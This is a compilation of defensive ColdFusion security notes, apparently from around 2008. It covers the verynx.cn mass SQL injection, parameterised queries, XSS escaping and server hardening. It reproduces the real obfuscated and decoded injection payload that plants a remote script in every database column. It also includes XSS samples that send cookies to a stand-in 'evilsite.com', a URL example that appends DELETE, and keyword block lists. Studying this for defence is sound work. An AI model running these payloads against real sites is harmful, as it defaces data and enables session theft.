SQL Injection Attack using script from verynx.cn, hackers are

Document Sample
SQL Injection Attack using script from verynx.cn, hackers are Powered By Docstoc
					SQL Injection Attack using script from verynx.cn, hackers are back

07/23/08




There seems to be a really new SQL injection attack running around like wildfire on the Internet that leaves a
trail pointing at verynx.cn. If your applications are not hardened to sql injection attacks, you may have
noticed a very funny new behavior of some of your web pages. Specifically, there is some script from
verynx.cn running when you look at the source code that you didn't put there. This is serious business on a
big scale.



Behavior After Attack



Your site will still function, but the pages will load really really slowly. Additionally, the end user's browser is
executing someone else's javascript, and it's not the friendly kind. In other words, after being attacked by
this SQL Injection from verynx.cn, your site will still function. However, now it's essentially doing someone
else's dirty work, spreading evil of some kind, in the form of a browser payload.



How does the verynx.cn SQL Injection work?



There are a few steps to this little virus hack from verynx.cn. The first thing it needs to do is figure out that
your site is not hardened to a sql injection attack. So, it will probably run a few tests on user input forms
around your site and see what it gets back. Specifically, I would imagine that they are appending simple
exploratory statements to various user-input forms. In many cases, with sloppy development, this input is not
validated or checked for malicious intent (I know - how crazy to trust the world ;-) So they will run an
EXECUTE or SELECT at the end of a user field. If it works, they know that your site is vulnerable to a SQL
Injection attack.



From there, they need to do some exploratory analysis. In the case of verynx.cn, they specifically want to
find out your table and field names. Once they are in, this is really easy. They can query some system tables
and dump those values out. Now they have the blue print to your database. In the case of the verynx.cn sql
injection attack, the hacker then runs a series of update statements. If you dig around after an attack, you
can usually find a few examples. If you log any of your user input, that's a great place to start. You will find
something REALLY REALLY long with VARCHAR statements, DECLARE and EXECUTE. What they are
doing in the case of this attack virus is putting a script statement at the end of every field in every table. The
script statement is javascript pointing to the verynx.cn domain. Their hope is that some of these fields end
up in user-facing web pages (which they usually do). Thus, when an unsuspecting end-user comes to your
trustworthy web site, they actually load the script call from your database. That's not where the malicious
code sits. But that is a remote call back to the mother ship of evil where the real damages start. The end-
users browser pulls this attack / virus script from verynx.cn and then the payload is delivered locally on the
end-users browser.



Solution



Make sure you don't allow any statements like EXECUTE, DECLARE, VARCHAR, or SELECT through your
user-input fields. Just pull them off. If you want to be slightly more proactive, keep a list of source IPs that try
and cut them off to keep them from coming back, but that's not entirely necessary. What's important is that
the SQL statements that are injected don't get executed. You can also remove execute permissions on the
database side, but you may need that available for other reasons.



As far as I can tell, as a server administrator, your systems are not really harmed, per se. However, your
data is seriously messed up with this javascript virus attack thingy appended to every field in every table. To
clean this up is a real mess. I'm hoping you are making good backups.



I don't know who the dudes are at verynx.cn, but they really are no fun at all.


Recordset with a filter


Unfiltered recordsets do not need to be modified, but filtered recordsets do. In the example below, a
Dreamweaver MX 2004 recordset named "Recordset1" is filtered by an ID value passed in from a URL
parameter. The highlighted code below is what will need to be changed:


<cfquery name="Recordset1" datasource="cafetownsend">
SELECT *
FROM COMMENTS
WHERE COMMENT_ID =#URL.COMMENT_ID#</cfquery>


To protect the recordset from SQL injection attacks, use thecfqueryparam tag within the cfquery tag that
contains the SQL SELECT statement. Thecfqueryparam tag will verify the data type of the query parameter
and help secure your databases from unauthorized users. The line in yellow is the modified secure code:


<cfquery name="Recordset1" datasource="cafetownsend">
SELECT *
FROM COMMENTS
WHERE COMMENT_ID =<cfqueryparam value="#URL.COMMENT_ID#"
cfsqltype="cf_sql_numeric"></cfquery>
Insert Record server behaviors and Record Insertion Form Wizard


To protect the recordset from SQL injection attacks, use thecfqueryparam tag within the cfquery tag that
contains the SQL INSERT statement. Thecfqueryparam tag will verify the data type of the query parameter
and help secure your databases from unauthorized users.



Original code. The highlighted code below is what will need to be changed:


<cfquery datasource="cafetownsend">
  INSERT INTO COMMENTS (FIRST_NAME, LAST_NAME, TELEPHONE)
  VALUES (<cfif IsDefined("FORM.textfield1") AND #FORM.textfield1# NEQ
"">'#FORM.textfield1#'<cfelse>NULL</cfif>
  ,<cfif IsDefined("FORM.textfield2") AND #FORM.textfield2# NEQ
"">'#FORM.textfield2#'<cfelse>NULL</cfif>
 ,<cfif IsDefined("FORM.textfield3") AND #FORM.textfield3# NEQ
"">'#FORM.textfield3#'<cfelse>NULL</cfif>
 )</cfquery>


Modified secured code:


<cfquery datasource="cafetownsend">
 INSERT INTO COMMENTS (FIRST_NAME, LAST_NAME, TELEPHONE)
 VALUES<cfif IsDefined("FORM.textfield1") AND #FORM.textfield1# NEQ ""><cfqueryparam
value="#FORM.textfield1#" cfsqltype="cf_sql_clob" maxlength="50"><cfelse>''</cfif>
 ,<cfif IsDefined("FORM.textfield2") AND #FORM.textfield2# NEQ ""><cfqueryparam
value="#FORM.textfield2#" cfsqltype="cf_sql_clob" maxlength="50"><cfelse>''</cfif>
 ,<cfif IsDefined("FORM.textfield3") AND #FORM.textfield3# NEQ ""><cfqueryparam
value="#FORM.textfield3#" cfsqltype="cf_sql_clob" maxlength="20"><cfelse>''</cfif>
 )</cfquery>


Note: Choose the appropriatecfslqtype and maxlength values for your data.


Update Record and Record Update Form Wizard


The Update Record server behavior and Record Update Form Wizard require a combination of the fixes
above. First, look for thecfquery that contains the SQL SELECT statement and modify it as described in
Recordset with a filter. Then, look for the cfquery that contains the SQL UPDATE statement and modify it as
described in Insert Record server behaviors and Record Insertion Form Wizard.


Delete Record server behavior


The Delete Record server behavior modification is similar to the one for Recordset with a filter.



Original code:


<cfquery datasource="cafetownsend">
 DELETE FROM COMMENTS
 WHERE COMMENT_ID=#URL.COMMENT_ID#</cfquery>


Modified secure code:


<cfquery datasource="cafetownsend">
 DELETE FROM COMMENTS
 WHERE COMMENT_ID=<cfqueryparam value="#URL.COMMENT_ID#"
cfsqltype="cf_sql_numeric"></cfquery>


Note: Choose the appropriatecfslqtype and maxlength values for your data.


Caching with the cfqueryparam Tag


One limitation of cfqueryparam is that you can’t use the cachedwithin or cachedafter attributes of the cfquery
tag when using the cfqueryparam tag. Using that combination will cause an error message. However, you
can work around this by caching the Query variable within a persistent memory scope (Session, Application
or Server), or by using the Query-of-Query functionality in ColdFusion MX.


Performance and the cfqueryparam Tag


As mentioned earlier, the cfqueryparam tag may enhance the performance of your SQL statements. Many
common database servers can more quickly build a plan for executing your SQL when you build a prepared
statement, and they may also cache that plan for later use.


As you’ve seen, there are very good reasons to use cfqueryparam in any SQL statement you place within
your CFQUERY tags. You may want to take this one step further, however, and call stored procedures
directly, instead of including any SQL at all within your CFML code.


Sample of Attack:

;DECLARE
%20@S%20CHAR(4000);SET%20@S=CAST(0×4445434C415245204054207661726368617228323535
292C4043207661263686172283430303029204445434C415245205461626C655F437572736F7220
435552534F5220464F522073656C65637420612E6E616D652C622E6E616D652066726F6D2073797
36F626A6563747320612C737973636F6C756D6E73206220776865726520612E69643D622E696420
616E6420612E78747970653D27752720616E642028622E78747970653D3939206F7220622E78747
970653D3335206F7220622E78747970653D323331206F7220622E78747970653D31363729204F50
454E205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C655F4
37572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D30
2920424547494E20657865632827757064617465205B272B40542B275D20736574205B272B40432
B275D3D5B272B40432B275D2B2727223E3C2F7469746C653E3C736372697074207372633D226874
74703A2F2F312E766572796E782E636E2F772E6A73223E3C2F7363726970743E3C212D2D2727207
76865726520272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C73637269
7074207372633D22687474703A2F2F312E766572796E782E636E2F772E6A7323E3C2F7363726970
743E3C212D2D272727294645544348204E4558542046524F4D20205461626C655F437572736F722
0494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C
4F43415445205461626C655F437572736F72%20AS%20CHAR(4000));EXEC(@S);

Un-Obfuscated Attack:
;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or
b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO
@T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set
['+@C+']=['+@C+']+''"></title><script src="http://1.verynx.cn/w.js"></script><!--'' where '+@C+' not like
''%"></title><script src="http://1.verynx.cn/w.js"></script><!--''')FETCH NEXT FROM Table_Cursor INTO
@T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Tips to prevent SQL Injection Hacks:

Do not trust user data. The easiest solution for resolving most issues with SQL Injections is to clean all
incoming data. For any type of number or ID this is pretty easy as you can ensure any incoming number
safely converts to a number (int for example) alternatively you can ensure other ID’s such as GUID’s convert
safely to GUID’s before passing any information to your database.

Another simple fix - if you don’t need execute - ensure the user connecting to your database doesn’t have
execute permissions.

Solution (Fixing your database after the attack):

Here we turn their code into the solution as we use the same process to loop through the entire database
and remove what they’ve inserted into the database.

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where
a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0)
BEGIN exec('update ['+@T+'] set ['+@C+']=replace(['+@C+'],''"></title><script
src="http://1.verynx.cn/w.js"></script><!--'','''')')
FETCH NEXT FROM Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor


I also found a script that runs through and examines all your queries to make sure they’re parameterized
which we found useful:

http://www.cfprimer.com/downloads.cfm - Ben’s suggestion and extremely valuable.


sys.sysobjects revoking SELECT access for web user.




Consider the following simple dynamic ColdFusion query:

SELECT *
FROM Customers
WHERE CustID=#URL.custid#
Here a WHERE clause is being populated dynamically using a URL parameter. This type of code is common
and popular, and is often used in data drill-down interfaces. If the URL was:
http://domain/path/file.cfm?custid=100
the resulting SQL statement would be:
SELECT *
FROM Customers
WHERE CustID=100
But what if someone tampered with that URL so that it read:
http://domain/path/file.cfm?custid=100;DELETE+Customers
Now the resulting SQL would be:
SELECT *
FROM Customers
WHERE CustID=100;
DELETE Customers


As such, you should already be using code like this:

<cfparam name="URL.CustID" type="integer">
This single line of code will lock SQL injection attacks out. How? Think about it, SQL injection (within
ColdFusion apps) is really only an issue with non textual fields. If a text value is tampered with you'll end up
with tampered text, but that text will all be part of the core string (within quotes) passed as a value, and will
therefore not be executed as separate statements. Numbers, on the other hand, are not enclosed within
quotes, and so extraneous text can be tampered with to create an additional SQL statement. And <cfparam>
can protect you.

Of course, you may want more control, in which case you could use code like this:

<cfif IsDefined("URL.CustID")
and not IsNumeric(URL.CustID)>
... throw an error or something ...
</cfif>

And as an additional line of defense you can use <cfqueryparam>, as seen here:

<cfquery ...>
SELECT *
FROM Customers
WHERE CustID=<cfqueryparam value="#URL.CustID#" cfsqltype="CF_SQL_INTEGER">
</cfquery>




SELECT TOP

If you are passing a variable into a SELECT TOP statement, you can't use cfqueryparam , instead consider
using the Val function. This is a really handy function that will return 0 whenever it gets a non-numeric value,
and will convert decimal values into integers.

SELECT TOP #Val(url.max_rows)# first_name FROM people

ORDER BY

When attempting to use a cfqueryparam tag in the ORDER BY statement you might receive an error such
as:

[Macromedia][SQLServer JDBC Driver][SQLServer]The SELECT item identified
by the ORDER BY number 1 contains a variable as part of the expression
identifying a column position. Variables are only allowed when ordering
by an expression referencing a column name.


A good way to get around this limitation is to use the ListFindNoCase function, to limit the sortable column
names, for example:

<cfset sortable_column_list = "age,height,weight,first_name">
<cfquery ...>
 SELECT first_name, age, height, weight
 FROM people
 ORDER BY <cfif ListFindNoCase(sortable_column_list,
url.sort_column)>#url.sort_column#<cfelse>first_name</cfif>
</cfquery>




Passing Value Lists using IN

What to do when your variable contains a list of values to be used with a SQL IN expression? The
cfqueryparam actually makes it very easy to pass a list, you don't even need to put single quotes around
each element if for text lists, it takes care of that for you. To use cfqueryparam with an IN simply add
list="true" to your cfqueryparam tag.

<cfset name_list = "Bob,Fred,Pete">
<cfquery ...>
 SELECT first_name, age, height, weight
 FROM people
 WHERE first_name IN (<cfqueryparam value="#name_list#" list="true" cfsqltype="cf_sql_varchar">)
</cfquery>


You can also find query param scanner @

http://qpscanner.riaforge.org/




Topic List (In no particular order):

    •    Cross-Site Scripting(XSS) (The Basics and Beyond)
    •    SQL Injection (of course :)
    •    Cross-Site Request Forgery(XSRF)
    •    Ajax Security
    •    Form Security(Input Validation, Source Validation, Form Interception)
    •    Data Scrubbing Concerns(Clean on the Way in or the way out)
    •    Remote Service Layers
    •    Authentication and Authorization
    •    Spoofing
    •    Cookies(and why they suck)
    •    Session Management
    •    Session Hijacking
    •    Database Security(more to it than you might think)
    •    Shared Hosting Concerns
    •    Password Management and Best Practices
    •    Encryption, Hashing and Rainbows9these rainbows are not pretty)
    •    SSL
    •    Custom tag security
    •    Flash/Flex Remoting(I'm still learning about this one so don't expect it for a while)
    •    ColdFusion Mappings
    •    And more...
    •    Input Validation
    •    Buffer Overflow
    •    Cross Site Scripting
    •    URL Manipulation
    •    SQL Injection
    •    Hidden Variable Manipulation
    •    Cookie Modification
    •    Authentication Bypass
    •    Code Execution


Cross-site Scripting (XSS), to me, is one of those subjects that I feel like I am just barely keeping up with. I
understand what it is, but It seems like every time I feel like I have a handle on the ways it can be done, I
learn about something new. I am not going to claim to be the be-all-end-all authority on any security subject.
It seems like there is always something new, but with XSS, it is especially so.



So, with this post, I am only presenting the information about XSS with which I am familiar. It is not intended
to be the ultimate XSS guide. Think of it as in intro to some Cross-Site Scripting exploits and solutions. After
reading this, I encourage you to research more on your own, as I will. As I learn more I will post about it.


So what is Cross-Site Scripting?
Cross-Site Scripting is a vulnerability, usually found is Web Applications, that uses client-side script code to
attack other users of a site. It can be used to carry out phishing attacks, bypass access controls, and to
exploit browser behavior in general.


XSS attacks, generally, use JavaScript or other client side scripts against websites that are vulnerable to
being injected with malicious code.



Cross-Site Scripting (XSS) vulnerabilities comes in several flavors. Persistent, Non-Persistent and DOM-
Based. Each is exploited differently, and each has different dangers associated with it. In this post I will be
discussing Persistent (or Type 2) XSS Attacks/Vulnerabilities.


Persistent Cross-Site Scripting Attacks
I have most looked into Persistent (Type 2) XSS vulnerabilities and countermeasures, because (in my
opinion) Type 2 XSS attacks are the most dangerous.


Persistent XSS is, as the name suggests, an attack that is implemented and then lasts until it is removed. It
is generally deployed through the use of a web form, SQL Injection, or some other means of injecting a
script into the content of a web applications for others to view, and subsequently execute.



A persistent exploit will, generally, be injected into the database or other data persistence means. Once it
has been successfully injected into the database, it will be displayed to any end user who request that same
information form the DB.



The most common example of persistent XSS exploits is in a Blog Entry or Forum where end users are able
to add content to the web application for others to view. In a blog post that allows comments, any end user
can type whatever they would like into the comment field and submit the data for insertion into the
comments table of the database. So let's say our hacker adds some malicious code to into a comment.




<script type="text/javascript">
alert('p0wn3d!!');
</script>


Later, other users will come along and load that blog post, when they do, that comment with the malicious
code will be loaded and the script inside will be executed. And they will get a JavaScript alert that says
'p0wn3d!!'.



Now, these seemingly harmless script would be nothing more than vandalism. But, in the eyes of your end
users, even this little vandalism represents a huge security hole and you can bet that word would spread
quickly that your site had been hacked.


So what else can hackers (or script kiddies) do with XSS?
That's the real question, isn't it? What can be done with XSS? Well, the easy answer is, that they can do
anything that could normally be done with JavaScript or whatever other scripting language they have at their
disposal in your users' browsers.


Examples of XSS in JavaScript:



Re-route the user to another URL:




<script type="text/javascript">
document.location='http://www.evilsite.com';
</script>


Send your cookies(including your session cookie) to another site:




<script type="text/javascript">
document.location='http://www.evilsite.com?' + document.cookie;
</script>


Perform an action on your users' behalf (Note: This example assumes that userid is stored in the cookie. A
static value could also be passed to perform an action against a specific record):
<script type="text/javascript">
document.location='http://www.evilsite.com/deleteUser.cfm?' + document.cookie.replace(/; /g,'&');
</script>


So, basically, if a hacker understands how your application works, they can commit all sorts of evil against it.
This is another great reason to always remember to use proper error handling. It can hinder the hacker in
learning too much about your application.


How do we prevent these types of exploits?
One of the easiest ways to prevent persistent XSS attacks is by escaping any user generated content before
it is displayed to any end user.


Escaping is th process of converting the characters in a string of text to their HTML Character Entity
equivalent. This means that any >, <, &, etc symbols would be converted to &gt; &lt;, &amp;, etc. That way,
when the end user who would be victimized views this code, they only receive the escaped code, which is
harmless.



So this code:




<script type="text/javascript">
document.location='http://www.evilsite.com?' + document.cookie;
</script>


would become:




&lt;script type=&quot;text/javascript&quot;&gt;
document.location='http://www.evilsite.com?' + document.cookie;
&lt;/script&gt;


Which would not execute.



To escape the characters in your user generated content is quite easy. ColdFusion's HTMLEditFormat()
function will do it for you.




<cfoutput>#HTMLEditFormat(qBlogComments.comment)#</cfoutput>
Pretty Simple. And Effective. However, in some cases it may be too effective. For example, if you want your
end users to be able to use some HTML elements it would not work.




This is <strong>Bold Text</strong>
This is <em>Emphasized Text</em>


Would become:




This is &lt;strong&gt;Bold Text&lt;/strong&gt;
This is &lt;em&gt;Emphasized Text&lt;/em&gt;


And when displayed to the end user would look like:




This is <strong>Bold Text</strong> This is <em>Emphasized Text</em>


Instead of like:



This is Bold Text This is Emphasized Text


Enabling Global or Per-Application Script Protection
Another method for reducing XSS vulnerability is to enable script protection. This can be done globally in the
ColdFusion Administrator, or on a per-application basis in Application.cfc.


Script Protection monitors the Form, URL, CGI, and Cookie scopes looking for potentionally threatening
tags. The tags it looks for are: object, embed, script, applet, and meta. If it finds any of these tags, or any
that resemble them, it will replace them with and InvalidTag tag.



So this:




<script type="text/javascript">
blah blah ...;
</script>


Will become:
<InvalidTag type="text/javascript">
blah blah ...;
</script>


And this:




<Object>
Blah blah... ;
</Object>


Will Become:




<InvalidTag>
Blah blah... ;
</Object>


To enable Global Script Protection:


     1.     Go to you ColdFusion Administrator
     2.     Go into the Server Settings section on the left
     3.     Under "settings" you will find the check box "Enable Global Script Protection". Check it
     4.     Click "Submit Changes"


This turns on Script Protection for All Scopes on All Applications on the server.



If you want to control script protection at the application level, or you do not have access to the ColdFusion
Administrator, you can enable it in your Application.cfc by placing this line in the pseudo-constructor area:




<cfset this.scriptprotect="all">


This will enable script protection for only that application, but for all scopes. You can also place place a
comma delimited list of scopes to protect, if for some reason you do not want to protect them all.



Script Protection, just like HTMLEditFormat(), can also be over-protective, because it will also find tags that
are harmless but resemble the potentially dangerous tags. So if someone in your blog application wants to
leave a comment about Transfer ORM config files and puts in the following code:
<ObjectDefinitions>
<package name="blah">
<blah blah blah />
</package>
</ObjectDefinitions>


They are gonna end up with:




<InvalidTagDefinitions>
<package name="blah">
<blah blah blah />
</package>
</ObjectDefinitions>


Centralized error handling.

Disable robust exception options – on production servers – Production servers should never have
debugging enabled. If you absolutely need it, restrict access by IP address.

Should never have open access to cfide/administrator folders

Any tags not needed should be explicitly blocked.

Secure data sources.

           Data sources usually contain a default database login and password
          Use an account with minimal database access
          Do not ever use the sys admin account

It is unlikely that sme SQL commands will ever be needed:
           Create, Drop, Execute, alter, grant, revoke – Restrict their use

Restrict access to tables and views.

Use stored procedures whenever possible instead of directly accessing tables.

Security updates can be downloaded from the following site: You can also signup on adobe site for updates.

http://www.adobe.com/support/security/#coldfusion

http://www.adobe.com/cfusion/entitlement/index.cfm?e=szalert – for signup

http://www.forta.com/cf/resources/CFMX7_Security_Essentials.swf


If your queries are not queryparameterized, below is quick word around till you fix your queries: Please
paste below code in Application.cfm and make sure to add email address where necessary.


<!--- ///////////////////////////// ::::::::::::::::::::::::: SQL Injection prevention code :::::::::::::::::::::::::::: /////////////////////// --->
<cfparam name="query_string" default="">

<cfif query_string contains "SELECT" or query_string contains 'exec(' or query_string contains
'declare%20@' or query_string contains "VARCHAR" or query_string contains "CONVERT" or query_string
contains '=cast(' or query_string contains "DELETE">


<!--- Get isp, and other information for the SQL injector --->

                            <CFHTTP METHOD="POST" URL="http://ws.arin.net/whois/">
                                  <CFHTTPPARAM TYPE="URL" NAME="queryinput"
VALUE="#remote_addr#">
                            </CFHTTP>

                          <!--- Get ISP's abuse email address --->
                          <CFSET VARIABLES.abuseStartPos=(len(CFHTTP.filecontent) -
(find('OrgAbuseEmail:', CFHTTP.filecontent) + 15))>
                          <CFSET VARIABLES.tempString = right(CFHTTP.filecontent,
VARIABLES.abuseStartPos)>
                          <CFSET VARIABLES.abuseEndPos=find('OrgTechHandle:',
VARIABLES.tempString)>
                          <CFIF VARIABLES.abuseEndPos GT "2">
                                    <CFSET VARIABLES.abuseEmailString = left(VARIABLES.tempString,
VARIABLES.abuseEndPos - 2)>
                          <CFELSE>
                                    <CFSET VARIABLES.abuseEmailString = "">
                          </CFIF>

                          <!--- Get ISP's Name --->
                          <CFSET VARIABLES.orgStartPos=(len(CFHTTP.filecontent) - (find('OrgName:',
CFHTTP.filecontent) + 9))>
                          <CFSET VARIABLES.tempString = right(CFHTTP.filecontent,
VARIABLES.orgStartPos)>
                          <CFSET VARIABLES.orgEndPos=find('OrgID:', VARIABLES.tempString)>
                          <CFIF VARIABLES.orgEndPos GT "2">
                                    <CFSET VARIABLES.orgString = left(VARIABLES.tempString,
VARIABLES.orgEndPos - 2)>
                          <CFELSE>
                                    <CFSET VARIABLES.orgString = "">
                          </CFIF>

                          <!--- Get ISP's City --->
                          <CFSET VARIABLES.cityStartPos=(len(CFHTTP.filecontent) - (find('City:',
CFHTTP.filecontent) + 6))>
                          <CFSET VARIABLES.tempString = right(CFHTTP.filecontent,
VARIABLES.cityStartPos)>
                          <CFSET VARIABLES.cityEndPos=find('StateProv:', VARIABLES.tempString)>
                          <CFIF VARIABLES.cityEndPos GT "2">
                                    <CFSET VARIABLES.cityString = left(VARIABLES.tempString,
VARIABLES.cityEndPos - 2)>
                          <CFELSE>
                                    <CFSET VARIABLES.cityString = "">
                          </CFIF>

                          <!--- Get ISP's State --->
                          <CFSET VARIABLES.stateStartPos=(len(CFHTTP.filecontent) -
(find('StateProv:', CFHTTP.filecontent) + 11))>
                          <CFSET VARIABLES.tempString = right(CFHTTP.filecontent,
VARIABLES.stateStartPos)>
                          <CFSET VARIABLES.stateEndPos=find('PostalCode:',
VARIABLES.tempString)>
                          <CFIF VARIABLES.stateEndPos GT "2">
                               <CFSET VARIABLES.stateString = left(VARIABLES.tempString,
VARIABLES.stateEndPos - 2)>
                       <CFELSE>
                               <CFSET VARIABLES.stateString = "">
                       </CFIF>

                            <!--- Produce error message --->
                            <CFSET VARIABLES.messageError = "Your actions violate the Federal
computer crime law (18 U.S.C. 1030, Computer Fraud and Abuse Act). The entire text of the Act can be
viewed at: http://www.usdoj.gov/criminal/cybercrime/1030_new.html. Your IP address (#remote_addr#) and
actions have also been reported to your ISP (#VARIABLES.orgString#">
                            <CFIF VARIABLES.cityString NEQ "">
                                      <CFSET VARIABLES.messageError = "#VARIABLES.messageError#,
#VARIABLES.cityString#">
                            </CFIF>
                            <CFIF VARIABLES.stateString NEQ "">
                                      <CFSET VARIABLES.messageError = "#VARIABLES.messageError#,
#VARIABLES.stateString#">
                            </CFIF>
                            <CFSET VARIABLES.messageError = "#VARIABLES.messageError#) with a
request for service interruption.">
                            <CFSET VARIABLES.injectionId=ListLast(createUUID(), "-")>

                          <!--- If the ISP has an abuse email address, send an email reporting hacking
--->

                         <CFIF VARIABLES.abuseEmailString NEQ "" AND ReFind("[_a-zA-Z0-9-]+(\.[_a-
zA-Z0-9-]+)*@[a-zA-Z0-9-]+(\.[a-zA-Z0-9-]+)*\.(([0-9]{1,3})|([a-zA-Z]{2,3})|(aero|coop|info|museum|name))",
VARIABLES.abuseEmailString) NEQ "0">
                                   <CFMAIL FROM="<email address>"
TO="#VARIABLES.abuseEmailString#" cc="<copy to your email address>" SUBJECT="SQL Injection
Details - #VARIABLES.injectionId#" TYPE="HTML">
                                            <HTML>
                                            <BODY>
                                            We would like to report that an individual using the IP
#remote_addr# has been trying to do SQL injections into our Web site.<P>
                                            The last attempted injection was at #DateFormat(NOW(),
"mm/dd/yyyy")# #TimeFormat(NOW(), "h:mm tt")#.<P>
                                            Please take immediate action to prevent this user from
accessing our and other Web sites.<P>
                                            If you require more information please contact
sarithab@onlinevacationcenter.com
                                            </BODY>
                                            </HTML>
                                   </CFMAIL>
                         </CFIF>

                 <cfoutput>

            <pre>

            <h1>HACK ATTEMPT RECORDED FROM IP: #remote_addr#</h1>

            Your actions violate the Federal computer crime law (18 U.S.C. 1030, Computer Fraud and
Abuse Act). The entire text of the Act can be viewed at:
http://www.usdoj.gov/criminal/cybercrime/1030_new.html. Your IP address (#remote_addr#) and actions
have also been reported to your ISP (#VARIABLES.orgString#)

            #DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#

            #script_name#&#query_string#
                </pre>

      </cfoutput>


  <cfmail to="<email address>" type="html" subject="HACK ATTEMPT FROM IP: #remote_addr#"
from="<email address>">
                 HACK ATTEMPT RECORDED:#VARIABLES.injectionId#<br />

      #DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#<br />

      IP: #remote_addr#<br />

      ATTEMPT:<br />

      http://#server_name#/#script_name#&#query_string#


  </cfmail>




<cfabort>
</cfif>


<cfif isdefined("form.fieldnames")>
  <cfloop list="#form.fieldnames#" index="z">
    <cfif lcase(evaluate(z)) CONTAINS 'declare%20@' OR lcase(evaluate(z)) CONTAINS '=cast(' OR
lcase(evaluate(z)) CONTAINS 'exec(' OR lcase(evaluate(z)) contains "document.write(unescape" OR
lcase(evaluate(z)) contains "/w.js" OR lcase(evaluate(z)) contains "</title><script" OR lcase(evaluate(z))
contains ".cn/">
       <cfset ban_now = 1>
       <cfset ban_body_content = evaluate(z)>

      <cfmail to="<email address>" type="html" subject="HACK ATTEMPT - #remote_addr# FORM
POST" from="<email address>">

         HACK ATTEMPT RECORDED<br />

         #DateFormat(Now(), "MM-DD-YYYY")# @ #TimeFormat(Now(), "HH:MM:SS")#<br />

         IP: #remote_addr#<br />

          ATTEMPT:<br />

         #ban_body_content#


     </cfmail>

     <cfabort>

    </cfif>
  </cfloop>
</cfif>



<!--- ///////////////////////////// ::::::::::::::::::::::::: END SQl Injection Prevention Block :::::::::::::::::::::::::::::
/////////////////////// --->

				
DOCUMENT INFO